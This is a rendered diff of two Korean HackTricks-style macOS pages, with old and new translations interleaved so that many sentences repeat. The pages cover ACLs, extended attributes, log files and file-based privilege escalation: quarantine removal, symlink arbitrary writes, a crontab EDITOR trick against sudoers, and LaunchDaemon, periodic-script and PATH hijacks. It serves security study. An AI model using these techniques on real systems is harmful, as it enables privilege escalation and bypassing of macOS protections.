파일 **ACLs**에는 다른 사용자에게 **더 세분화된 권한**을 할당할 수 있는 **ACE**(접근 제어 항목)가 포함되어 있습니다.
|
||||
|
||||
**디렉토리**에는 다음과 같은 권한을 부여할 수 있습니다: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
|
||||
**파일**에는 다음과 같은 권한을 부여할 수 있습니다: `read`, `write`, `append`, `execute`.
|
||||
**디렉토리**에는 다음 권한을 부여할 수 있습니다: `목록`, `검색`, `파일 추가`, `하위 디렉토리 추가`, `하위 항목 삭제`, `하위 항목 삭제`.\
|
||||
**파일**에는 다음을 할 수 있습니다: `읽기`, `쓰기`, `추가`, `실행`.
|
||||
|
||||
파일에 ACL이 포함되어 있는 경우, 권한을 나열할 때 **"+"가 표시**됩니다.
|
||||
파일에 ACL이 포함되어 있으면 권한을 나열할 때 **"+"**를 찾을 수 있습니다.
|
||||
```bash
|
||||
ls -ld Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
```
|
||||
다음 명령을 사용하여 파일의 **ACL(액세스 제어 목록)**을 읽을 수 있습니다:
|
||||
파일의 **ACL을 읽을 수 있습니다**.
|
||||
```bash
|
||||
ls -lde Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
0: group:everyone deny delete
|
||||
```
|
||||
**모든 ACL이 있는 파일을 찾을 수 있습니다** (이 작업은 아주 느립니다):
|
||||
|
||||
```bash
|
||||
find / -type f -exec ls -le {} \; 2>/dev/null
|
||||
```
|
||||
|
||||
**Note**: This command may take a long time to complete.
|
||||
모든 파일을 ACL로 찾을 수 있습니다 (이 작업은 아주 느립니다):
|
||||
```bash
|
||||
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
||||
```
|
||||
### 확장 속성
|
||||
|
||||
확장 속성은 이름과 원하는 값이 포함되어 있으며, `ls -@`를 사용하여 볼 수 있으며 `xattr` 명령을 사용하여 조작할 수 있습니다. 일반적인 확장 속성은 다음과 같습니다:
|
||||
|
||||
- `com.apple.resourceFork`: 리소스 포크 호환성. `filename/..namedfork/rsrc`로도 볼 수 있음
|
||||
- `com.apple.quarantine`: MacOS: Gatekeeper 격리 메커니즘 (III/6)
|
||||
- `metadata:*`: MacOS: `_backup_excludeItem` 또는 `kMD*`와 같은 다양한 메타데이터
|
||||
- `com.apple.lastuseddate` (#PS): 마지막 파일 사용 날짜
|
||||
- `com.apple.FinderInfo`: MacOS: Finder 정보 (예: 색 태그)
|
||||
- `com.apple.TextEncoding`: ASCII 텍스트 파일의 텍스트 인코딩 지정
|
||||
- `com.apple.logd.metadata`: `/var/db/diagnostics`의 파일에서 logd에서 사용됨
|
||||
- `com.apple.genstore.*`: 세대 저장소 (`/.DocumentRevisions-V100`는 파일 시스템 루트에 있음)
|
||||
- `com.apple.rootless`: MacOS: 시스템 무결성 보호에 의해 파일에 레이블 지정에 사용됨 (III/10)
|
||||
- `com.apple.uuidb.boot-uuid`: 고유 UUID로 부팅 시대를 표시하는 logd 표시
|
||||
- `com.apple.decmpfs`: MacOS: 투명 파일 압축 (II/7)
|
||||
- `com.apple.cprotect`: \*OS: 파일 단위 암호화 데이터 (III/11)
|
||||
- `com.apple.installd.*`: \*OS: installd에서 사용되는 메타데이터, 예: `installType`, `uniqueInstallID`
|
||||
|
||||
### 리소스 포크 | macOS ADS
|
||||
|
||||
이것은 MacOS 기기에서 **대체 데이터 스트림(Alternate Data Streams)**을 얻는 방법입니다. 파일을 **file/..namedfork/rsrc**에 저장하여 **com.apple.ResourceFork**라는 확장 속성 내에 내용을 저장할 수 있습니다.
|
||||
이는 **MacOS 기계에서 대체 데이터 스트림을 얻는 방법**입니다. **com.apple.ResourceFork**라는 확장 속성 내부에 내용을 저장하여 파일 내부에 저장할 수 있습니다. **file/..namedfork/rsrc**에 저장함으로써 가능합니다.
|
||||
```bash
|
||||
echo "Hello" > a.txt
|
||||
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
|
||||
|
@ -170,7 +204,7 @@ com.apple.ResourceFork: Hello Mac ADS
|
|||
ls -l a.txt #The file length is still q
|
||||
-rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt
|
||||
```
|
||||
다음 명령어를 사용하여 **이 확장 속성을 포함하는 모든 파일을 찾을 수 있습니다**:
|
||||
다음을 사용하여 **이 확장 속성을 포함하는 모든 파일을 찾을 수 있습니다**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -178,9 +212,17 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### decmpfs
|
||||
|
||||
확장 속성 `com.apple.decmpfs`는 파일이 암호화되어 저장되었음을 나타냅니다. `ls -l`은 **크기가 0**으로 보고되며 압축된 데이터는이 속성 내에 있습니다. 파일에 액세스 할 때마다 메모리에서 복호화됩니다.
|
||||
|
||||
이 attr은 `ls -lO`로 볼 수 있으며 압축 파일은 `UF_COMPRESSED` 플래그로 태그가 지정됩니다. 압축 파일이 제거되면이 플래그가 `chflags nocompressed </path/to/file>`로 제거되면 시스템은 파일이 압축되었음을 알지 못하므로 데이터에 액세스 할 수 없습니다 (실제로 비어 있는 것으로 생각합니다).
|
||||
|
||||
afscexpand 도구를 사용하여 강제로 파일을 압축 해제 할 수 있습니다.
|
||||
|
||||
## **Universal binaries &** Mach-o Format
|
||||
|
||||
맥 OS 바이너리는 일반적으로 **유니버설 바이너리**로 컴파일됩니다. **유니버설 바이너리**는 **동일한 파일에서 여러 아키텍처를 지원**할 수 있습니다.
|
||||
Mac OS 이진 파일은 일반적으로 **universal binaries**로 컴파일됩니다. **Universal binary**는 **동일한 파일에서 여러 아키텍처를 지원**할 수 있습니다.
|
||||
|
||||
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
|
||||
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
|
||||
|
@ -192,36 +234,22 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
|||
[macos-memory-dumping.md](macos-memory-dumping.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Mac OS의 위험 범주 파일
|
||||
## 위험 범주 파일 Mac OS
|
||||
|
||||
디렉토리 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System`에는 **다른 파일 확장자와 관련된 위험에 대한 정보가 저장**됩니다. 이 디렉토리는 파일을 다양한 위험 수준으로 분류하여 Safari가 다운로드 후 이러한 파일을 처리하는 방식에 영향을 줍니다. 카테고리는 다음과 같습니다:
|
||||
디렉토리 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System`에는 **다른 파일 확장자와 관련된 위험에 대한 정보가 저장**됩니다. 이 디렉토리는 파일을 다양한 위험 수준으로 분류하여 Safari가 이러한 파일을 다운로드 한 후 처리하는 방식에 영향을줍니다. 카테고리는 다음과 같습니다:
|
||||
|
||||
- **LSRiskCategorySafe**: 이 카테고리의 파일은 **완전히 안전**하다고 간주됩니다. Safari는 이러한 파일을 자동으로 다운로드 후 엽니다.
|
||||
- **LSRiskCategoryNeutral**: 이러한 파일은 경고 없이 제공되며 Safari에서 **자동으로 열리지 않습니다**.
|
||||
- **LSRiskCategoryUnsafeExecutable**: 이 카테고리의 파일은 응용 프로그램임을 나타내는 경고를 **트리거**합니다. 이는 사용자에게 경고를 알리는 보안 조치로 작동합니다.
|
||||
- **LSRiskCategoryMayContainUnsafeExecutable**: 이 카테고리는 아카이브와 같은 파일에 포함될 수 있는 실행 파일과 같은 파일을 위한 것입니다. Safari는 모든 내용이 안전하거나 중립적임을 확인할 수 없는 경우 **경고를 트리거**합니다.
|
||||
* **LSRiskCategorySafe**: 이 카테고리에 속하는 파일은 **완전히 안전**하다고 간주됩니다. Safari는 이러한 파일을 자동으로 다운로드 한 후 엽니다.
|
||||
* **LSRiskCategoryNeutral**: 이러한 파일은 경고가 없으며 Safari에 의해 **자동으로 열리지 않습니다**.
|
||||
* **LSRiskCategoryUnsafeExecutable**: 이 카테고리의 파일은 응용 프로그램임을 나타내는 경고를 **발생**시킵니다. 이는 사용자에게 경고하는 보안 조치 역할을합니다.
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**: 이 카테고리는 실행 파일을 포함 할 수있는 아카이브와 같은 파일을위한 것입니다. Safari는 모든 내용이 안전하거나 중립적임을 확인할 수 없는 한 **경고**를 발생시킵니다.
|
||||
|
||||
## 로그 파일
|
||||
|
||||
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: 다운로드된 파일에 대한 정보를 포함하고 있으며, 다운로드된 URL도 포함합니다.
|
||||
* **`/var/log/system.log`**: OSX 시스템의 주 로그입니다. syslogging의 실행을 담당하는 com.apple.syslogd.plist 파일입니다 (`launchctl list`에서 "com.apple.syslogd"를 찾아 비활성화되었는지 확인할 수 있습니다).
|
||||
* **`/private/var/log/asl/*.asl`**: 이는 흥미로운 정보를 포함할 수 있는 Apple 시스템 로그입니다.
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder"를 통해 최근에 액세스한 파일 및 애플리케이션을 저장합니다.
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: 시스템 시작 시 실행할 항목을 저장합니다.
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility 앱에 대한 로그 파일입니다(USB를 포함한 드라이브에 대한 정보 포함).
|
||||
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: 다운로드 된 파일에 대한 정보를 포함하며, 다운로드 된 URL과 같은 정보가 포함되어 있습니다.
|
||||
* **`/var/log/system.log`**: OSX 시스템의 주요 로그입니다. com.apple.syslogd.plist은 시스템 로깅의 실행을 담당합니다 (`launchctl list`에서 "com.apple.syslogd"를 찾아 비활성화되었는지 확인할 수 있습니다).
|
||||
* **`/private/var/log/asl/*.asl`**: 이것은 흥미로운 정보를 포함 할 수있는 Apple 시스템 로그입니다.
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder"를 통해 최근에 액세스 한 파일 및 응용 프로그램을 저장합니다.
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: 시스템 시작시 시작할 항목을 저장합니다.
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility 앱에 대한 로그 파일 (USB를 포함한 드라이브에 대한 정보)
|
||||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: 무선 액세스 포인트에 대한 데이터입니다.
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: 비활성화된 데몬 목록입니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: 비활성화 된 데몬 목록입니다.
|
||||
|
|
|
@ -6,49 +6,49 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## POSIX 권한 조합
|
||||
|
||||
**디렉터리**의 권한:
|
||||
**디렉토리**의 권한:
|
||||
|
||||
* **읽기** - 디렉터리 항목을 **열거**할 수 있음
|
||||
* **쓰기** - 디렉터리에 **파일을 삭제/쓰기**할 수 있으며 **빈 폴더를 삭제**할 수 있음.
|
||||
* **읽기** - 디렉토리 항목을 **열거**할 수 있음
|
||||
* **쓰기** - 디렉토리에 **파일을 삭제/쓰기**할 수 있으며 **빈 폴더를 삭제**할 수 있음.
|
||||
* 그러나 **쓰기 권한**이 없으면 **비어 있지 않은 폴더를 삭제/수정**할 수 없음.
|
||||
* 소유권이 없으면 **폴더 이름을 수정**할 수 없음.
|
||||
* **실행** - 디렉터리를 **탐색**할 수 있음 - 이 권한이 없으면 해당 디렉터리 내의 파일이나 하위 디렉터리에 액세스할 수 없음.
|
||||
* **폴더 이름을 수정**할 수 없음(소유하지 않은 경우).
|
||||
* **실행** - 디렉토리를 **탐색**할 수 있음 - 이 권한이 없으면 해당 디렉토리 내의 파일 또는 하위 디렉토리에 액세스할 수 없음.
|
||||
|
||||
### 위험한 조합
|
||||
|
||||
**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 그러나:
|
||||
**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 하지만:
|
||||
|
||||
* 경로에서 하나의 **디렉터리 소유자**가 사용자인 경우
|
||||
* 경로에서 하나의 **디렉터리 소유자**가 **쓰기 액세스**를 가진 **사용자 그룹**인 경우
|
||||
* 사용자 **그룹**이 **파일**에 **쓰기** 액세스 권한을 가지고 있는 경우
|
||||
* 경로에서 하나의 **디렉토리 소유자**가 사용자인 경우
|
||||
* 경로에서 하나의 **디렉토리 소유자**가 **쓰기 액세스**를 가진 **사용자 그룹**인 경우
|
||||
* 사용자 **그룹**이 **파일**에 **쓰기** 액세스 권한을 가짐
|
||||
|
||||
이전 조합 중 하나로 공격자는 특권 임의 쓰기를 얻기 위해 예상 경로에 **sym/hard 링크를 삽입**할 수 있음.
|
||||
|
||||
### 폴더 루트 R+X 특수 케이스
|
||||
|
||||
**루트만 R+X 액세스 권한을 가진 디렉터리**에 파일이 있는 경우, 해당 파일은 **다른 사람에게 접근할 수 없음**. 따라서 사용자가 읽을 수 없는 파일을 **이동**할 수 있는 취약점이 있다면, 이 폴더에서 **다른 폴더로 이동**하여 이러한 파일을 읽을 수 있도록 악용할 수 있음.
|
||||
**루트만 R+X 액세스**를 가진 **디렉토리**에 파일이 있는 경우, 해당 파일은 **다른 사람에게 접근할 수 없음**. 따라서 사용자가 읽을 수 없는 **제한** 때문에 읽을 수 없는 파일을 **다른 폴더로 이동**하는 취약점이 있다면 이 파일을 읽기 위해 악용될 수 있음.
|
||||
|
||||
예시: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
||||
|
||||
## 심볼릭 링크 / 하드 링크
|
||||
|
||||
특권 프로세스가 **사용자**가 **제어할 수 있는 파일**에 데이터를 쓰거나 **낮은 특권 사용자**가 **이전에 생성한 파일**에 데이터를 쓰고 있는 경우, 사용자는 심볼릭 또는 하드 링크를 통해 해당 파일을 다른 파일로 **가리킬 수 있으며**, 특권 프로세스는 해당 파일에 쓸 것입니다.
|
||||
특권 프로세스가 **사용자**가 **제어할 수 있는 파일**에 데이터를 쓰거나 **낮은 권한을 가진 사용자**가 **이전에 생성한 파일**에 데이터를 쓰고 있는 경우, 사용자는 심볼릭 또는 하드 링크를 통해 해당 파일로 **가리킬 수 있으며**, 특권 프로세스는 해당 파일에 쓸 것입니다.
|
||||
|
||||
공격자가 특권 상승을 위해 임의 쓰기를 악용할 수 있는 곳을 확인하세요.
|
||||
다른 섹션에서 공격자가 **특권 상승을 위해 임의 쓰기를 악용**할 수 있는 위치를 확인하세요.
|
||||
|
||||
## .fileloc
|
||||
|
||||
**`.fileloc`** 확장자가 있는 파일은 다른 응용프로그램이나 이진 파일을 가리킬 수 있어서 해당 파일을 열면 응용프로그램/이진 파일이 실행됩니다.\
|
||||
**`.fileloc`** 확장자가 있는 파일은 다른 응용 프로그램이나 이진 파일을 가리킬 수 있어서 해당 파일을 열면 응용 프로그램/이진 파일이 실행됩니다.\
|
||||
예시:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -64,7 +64,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
```
|
||||
## 임의의 FD
|
||||
|
||||
만약 **프로세스가 높은 권한으로 파일이나 폴더를 열도록** 만들 수 있다면, **`crontab`**을 악용하여 `/etc/sudoers.d`에 있는 파일을 **`EDITOR=exploit.py`**로 열어서 `exploit.py`가 `/etc/sudoers` 내부의 파일에 대한 FD를 얻고 악용할 수 있습니다.
|
||||
만약 **프로세스가 높은 권한으로 파일이나 폴더를 열도록** 만들 수 있다면, **`crontab`**을 악용하여 `/etc/sudoers.d`에 있는 파일을 **`EDITOR=exploit.py`**로 열어 `exploit.py`가 `/etc/sudoers` 내부의 파일에 대한 FD를 가져와 악용할 수 있습니다.
|
||||
|
||||
예시: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||
|
||||
|
@ -76,7 +76,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app
|
|||
```
|
||||
### uchg / uchange / uimmutable 플래그
|
||||
|
||||
만약 파일/폴더가 이 불변 속성을 가지고 있다면 xattr을 적용할 수 없습니다.
|
||||
만약 파일/폴더가 이 불변 속성을 가지고 있다면, 해당 파일에 xattr을 적용할 수 없습니다.
|
||||
```bash
|
||||
echo asd > /tmp/asd
|
||||
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
||||
|
@ -122,9 +122,9 @@ ls -le /tmp/test
|
|||
```
|
||||
### **com.apple.acl.text xattr + AppleDouble**
|
||||
|
||||
**AppleDouble** 파일 형식은 ACE(접근 제어 항목)를 포함하여 파일을 복사합니다.
|
||||
**AppleDouble** 파일 형식은 ACE를 포함한 파일을 복사합니다.
|
||||
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 볼 수 있듯이 xattr인 **`com.apple.acl.text`**에 저장된 ACL 텍스트 표현은 압축 해제된 파일에서 ACL로 설정됩니다. 따라서, ACL을 포함하는 zip 파일로 응용 프로그램을 압축하고 다른 xattr이 기록되지 못하도록 하는 ACL이 있는 경우... 격리 xattr이 응용 프로그램에 설정되지 않았습니다:
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 볼 수 있듯이, xattr인 **`com.apple.acl.text`**에 저장된 ACL 텍스트 표현은 압축 해제된 파일에서 ACL로 설정됩니다. 따라서, 다른 xattr이 쓰여지는 것을 방지하는 ACL이 있는 zip 파일로 응용 프로그램을 압축했다면... quarantine xattr이 응용 프로그램에 설정되지 않았습니다:
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)를 확인하십시오.
|
||||
|
||||
|
@ -158,7 +158,7 @@ ls -le test
|
|||
|
||||
번들에는 **`_CodeSignature/CodeResources`** 파일이 포함되어 있으며 이 파일에는 번들 내의 모든 **파일**의 **해시**가 포함되어 있습니다. CodeResources의 해시는 또한 **실행 파일에 포함**되어 있기 때문에 해당 부분을 건드릴 수 없습니다.
|
||||
|
||||
그러나 일부 파일의 서명은 확인되지 않을 수 있습니다. 이러한 파일은 plist에 omit 키가 있는 파일입니다.
|
||||
그러나 일부 파일의 서명은 확인되지 않을 수 있습니다. 이러한 파일은 plist에 omit 키가 있는 것과 같습니다:
|
||||
```xml
|
||||
<dict>
|
||||
...
|
||||
|
@ -233,17 +233,20 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
일반적으로 macOS는 `/usr/libexec/diskarbitrationd`에서 제공되는 `com.apple.DiskArbitrarion.diskarbitrariond` Mach 서비스와 통신하여 디스크를 마운트합니다. LaunchDaemons plist 파일에 `-d` 매개변수를 추가하고 다시 시작하면 `/var/log/diskarbitrationd.log`에 로그를 저장합니다.\
|
||||
그러나 `hdik` 및 `hdiutil`과 같은 도구를 사용하여 `com.apple.driver.DiskImages` kext와 직접 통신하는 것이 가능합니다.
|
||||
|
||||
## 임의 쓰기
|
||||
|
||||
### 주기적인 sh 스크립트
|
||||
|
||||
스크립트가 **쉘 스크립트**로 해석될 수 있다면 매일 트리거될 **`/etc/periodic/daily/999.local`** 쉘 스크립트를 덮어쓸 수 있습니다.
|
||||
|
||||
다음 명령어로 이 스크립트를 **가짜로** 실행할 수 있습니다: **`sudo periodic daily`**
|
||||
다음과 같이 이 스크립트를 **가짜** 실행할 수 있습니다: **`sudo periodic daily`**
|
||||
|
||||
### 데몬
|
||||
|
||||
**LaunchDaemon**과 같은 임의의 **LaunchDaemon**을 작성하고 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**와 같은 plist를 사용하여 임의의 스크립트를 실행할 수 있습니다:
|
||||
임의의 **LaunchDaemon**인 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**를 작성하고 임의의 스크립트를 실행하는 plist를 실행합니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -270,13 +273,13 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
|
||||
### PATH 파일
|
||||
|
||||
**`/etc/paths`** 파일은 PATH 환경 변수를 채우는 주요 위치 중 하나입니다. 이 파일을 덮어쓰려면 루트 권한이 필요하지만, **특권 프로세스**에서 **전체 경로 없이 명령어를 실행**하는 경우, 이 파일을 수정하여 **해킹**할 수 있습니다.
|
||||
**`/etc/paths`** 파일은 `PATH` 환경 변수를 채우는 주요 위치 중 하나입니다. 이 파일을 덮어쓰려면 루트 권한이 필요하지만, **특권 프로세스**에서 **전체 경로 없이 명령어를 실행**하는 경우, 이 파일을 수정하여 **해킹**할 수 있습니다.
|
||||
|
||||
`/etc/paths.d`**에 파일을 작성하여 `PATH` 환경 변수에 새 폴더를 로드할 수도 있습니다.
|
||||
|
||||
## 다른 사용자로부터 쓰기 가능한 파일 생성
|
||||
|
||||
이 명령은 나에게 쓰기 가능한 root 소유의 파일을 생성합니다 ([**여기의 코드**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). 이것은 권한 상승으로 작동할 수도 있습니다:
|
||||
이는 나에게 쓰기 가능한 파일을 소유한 root 파일을 생성합니다 ([**여기의 코드**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). 이것 또한 권한 상승으로 작동할 수 있습니다.
|
||||
```bash
|
||||
DIRNAME=/usr/local/etc/periodic/daily
|
||||
|
||||
|
@ -294,14 +297,14 @@ echo $FILENAME
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 히어로가 되기까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에서 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue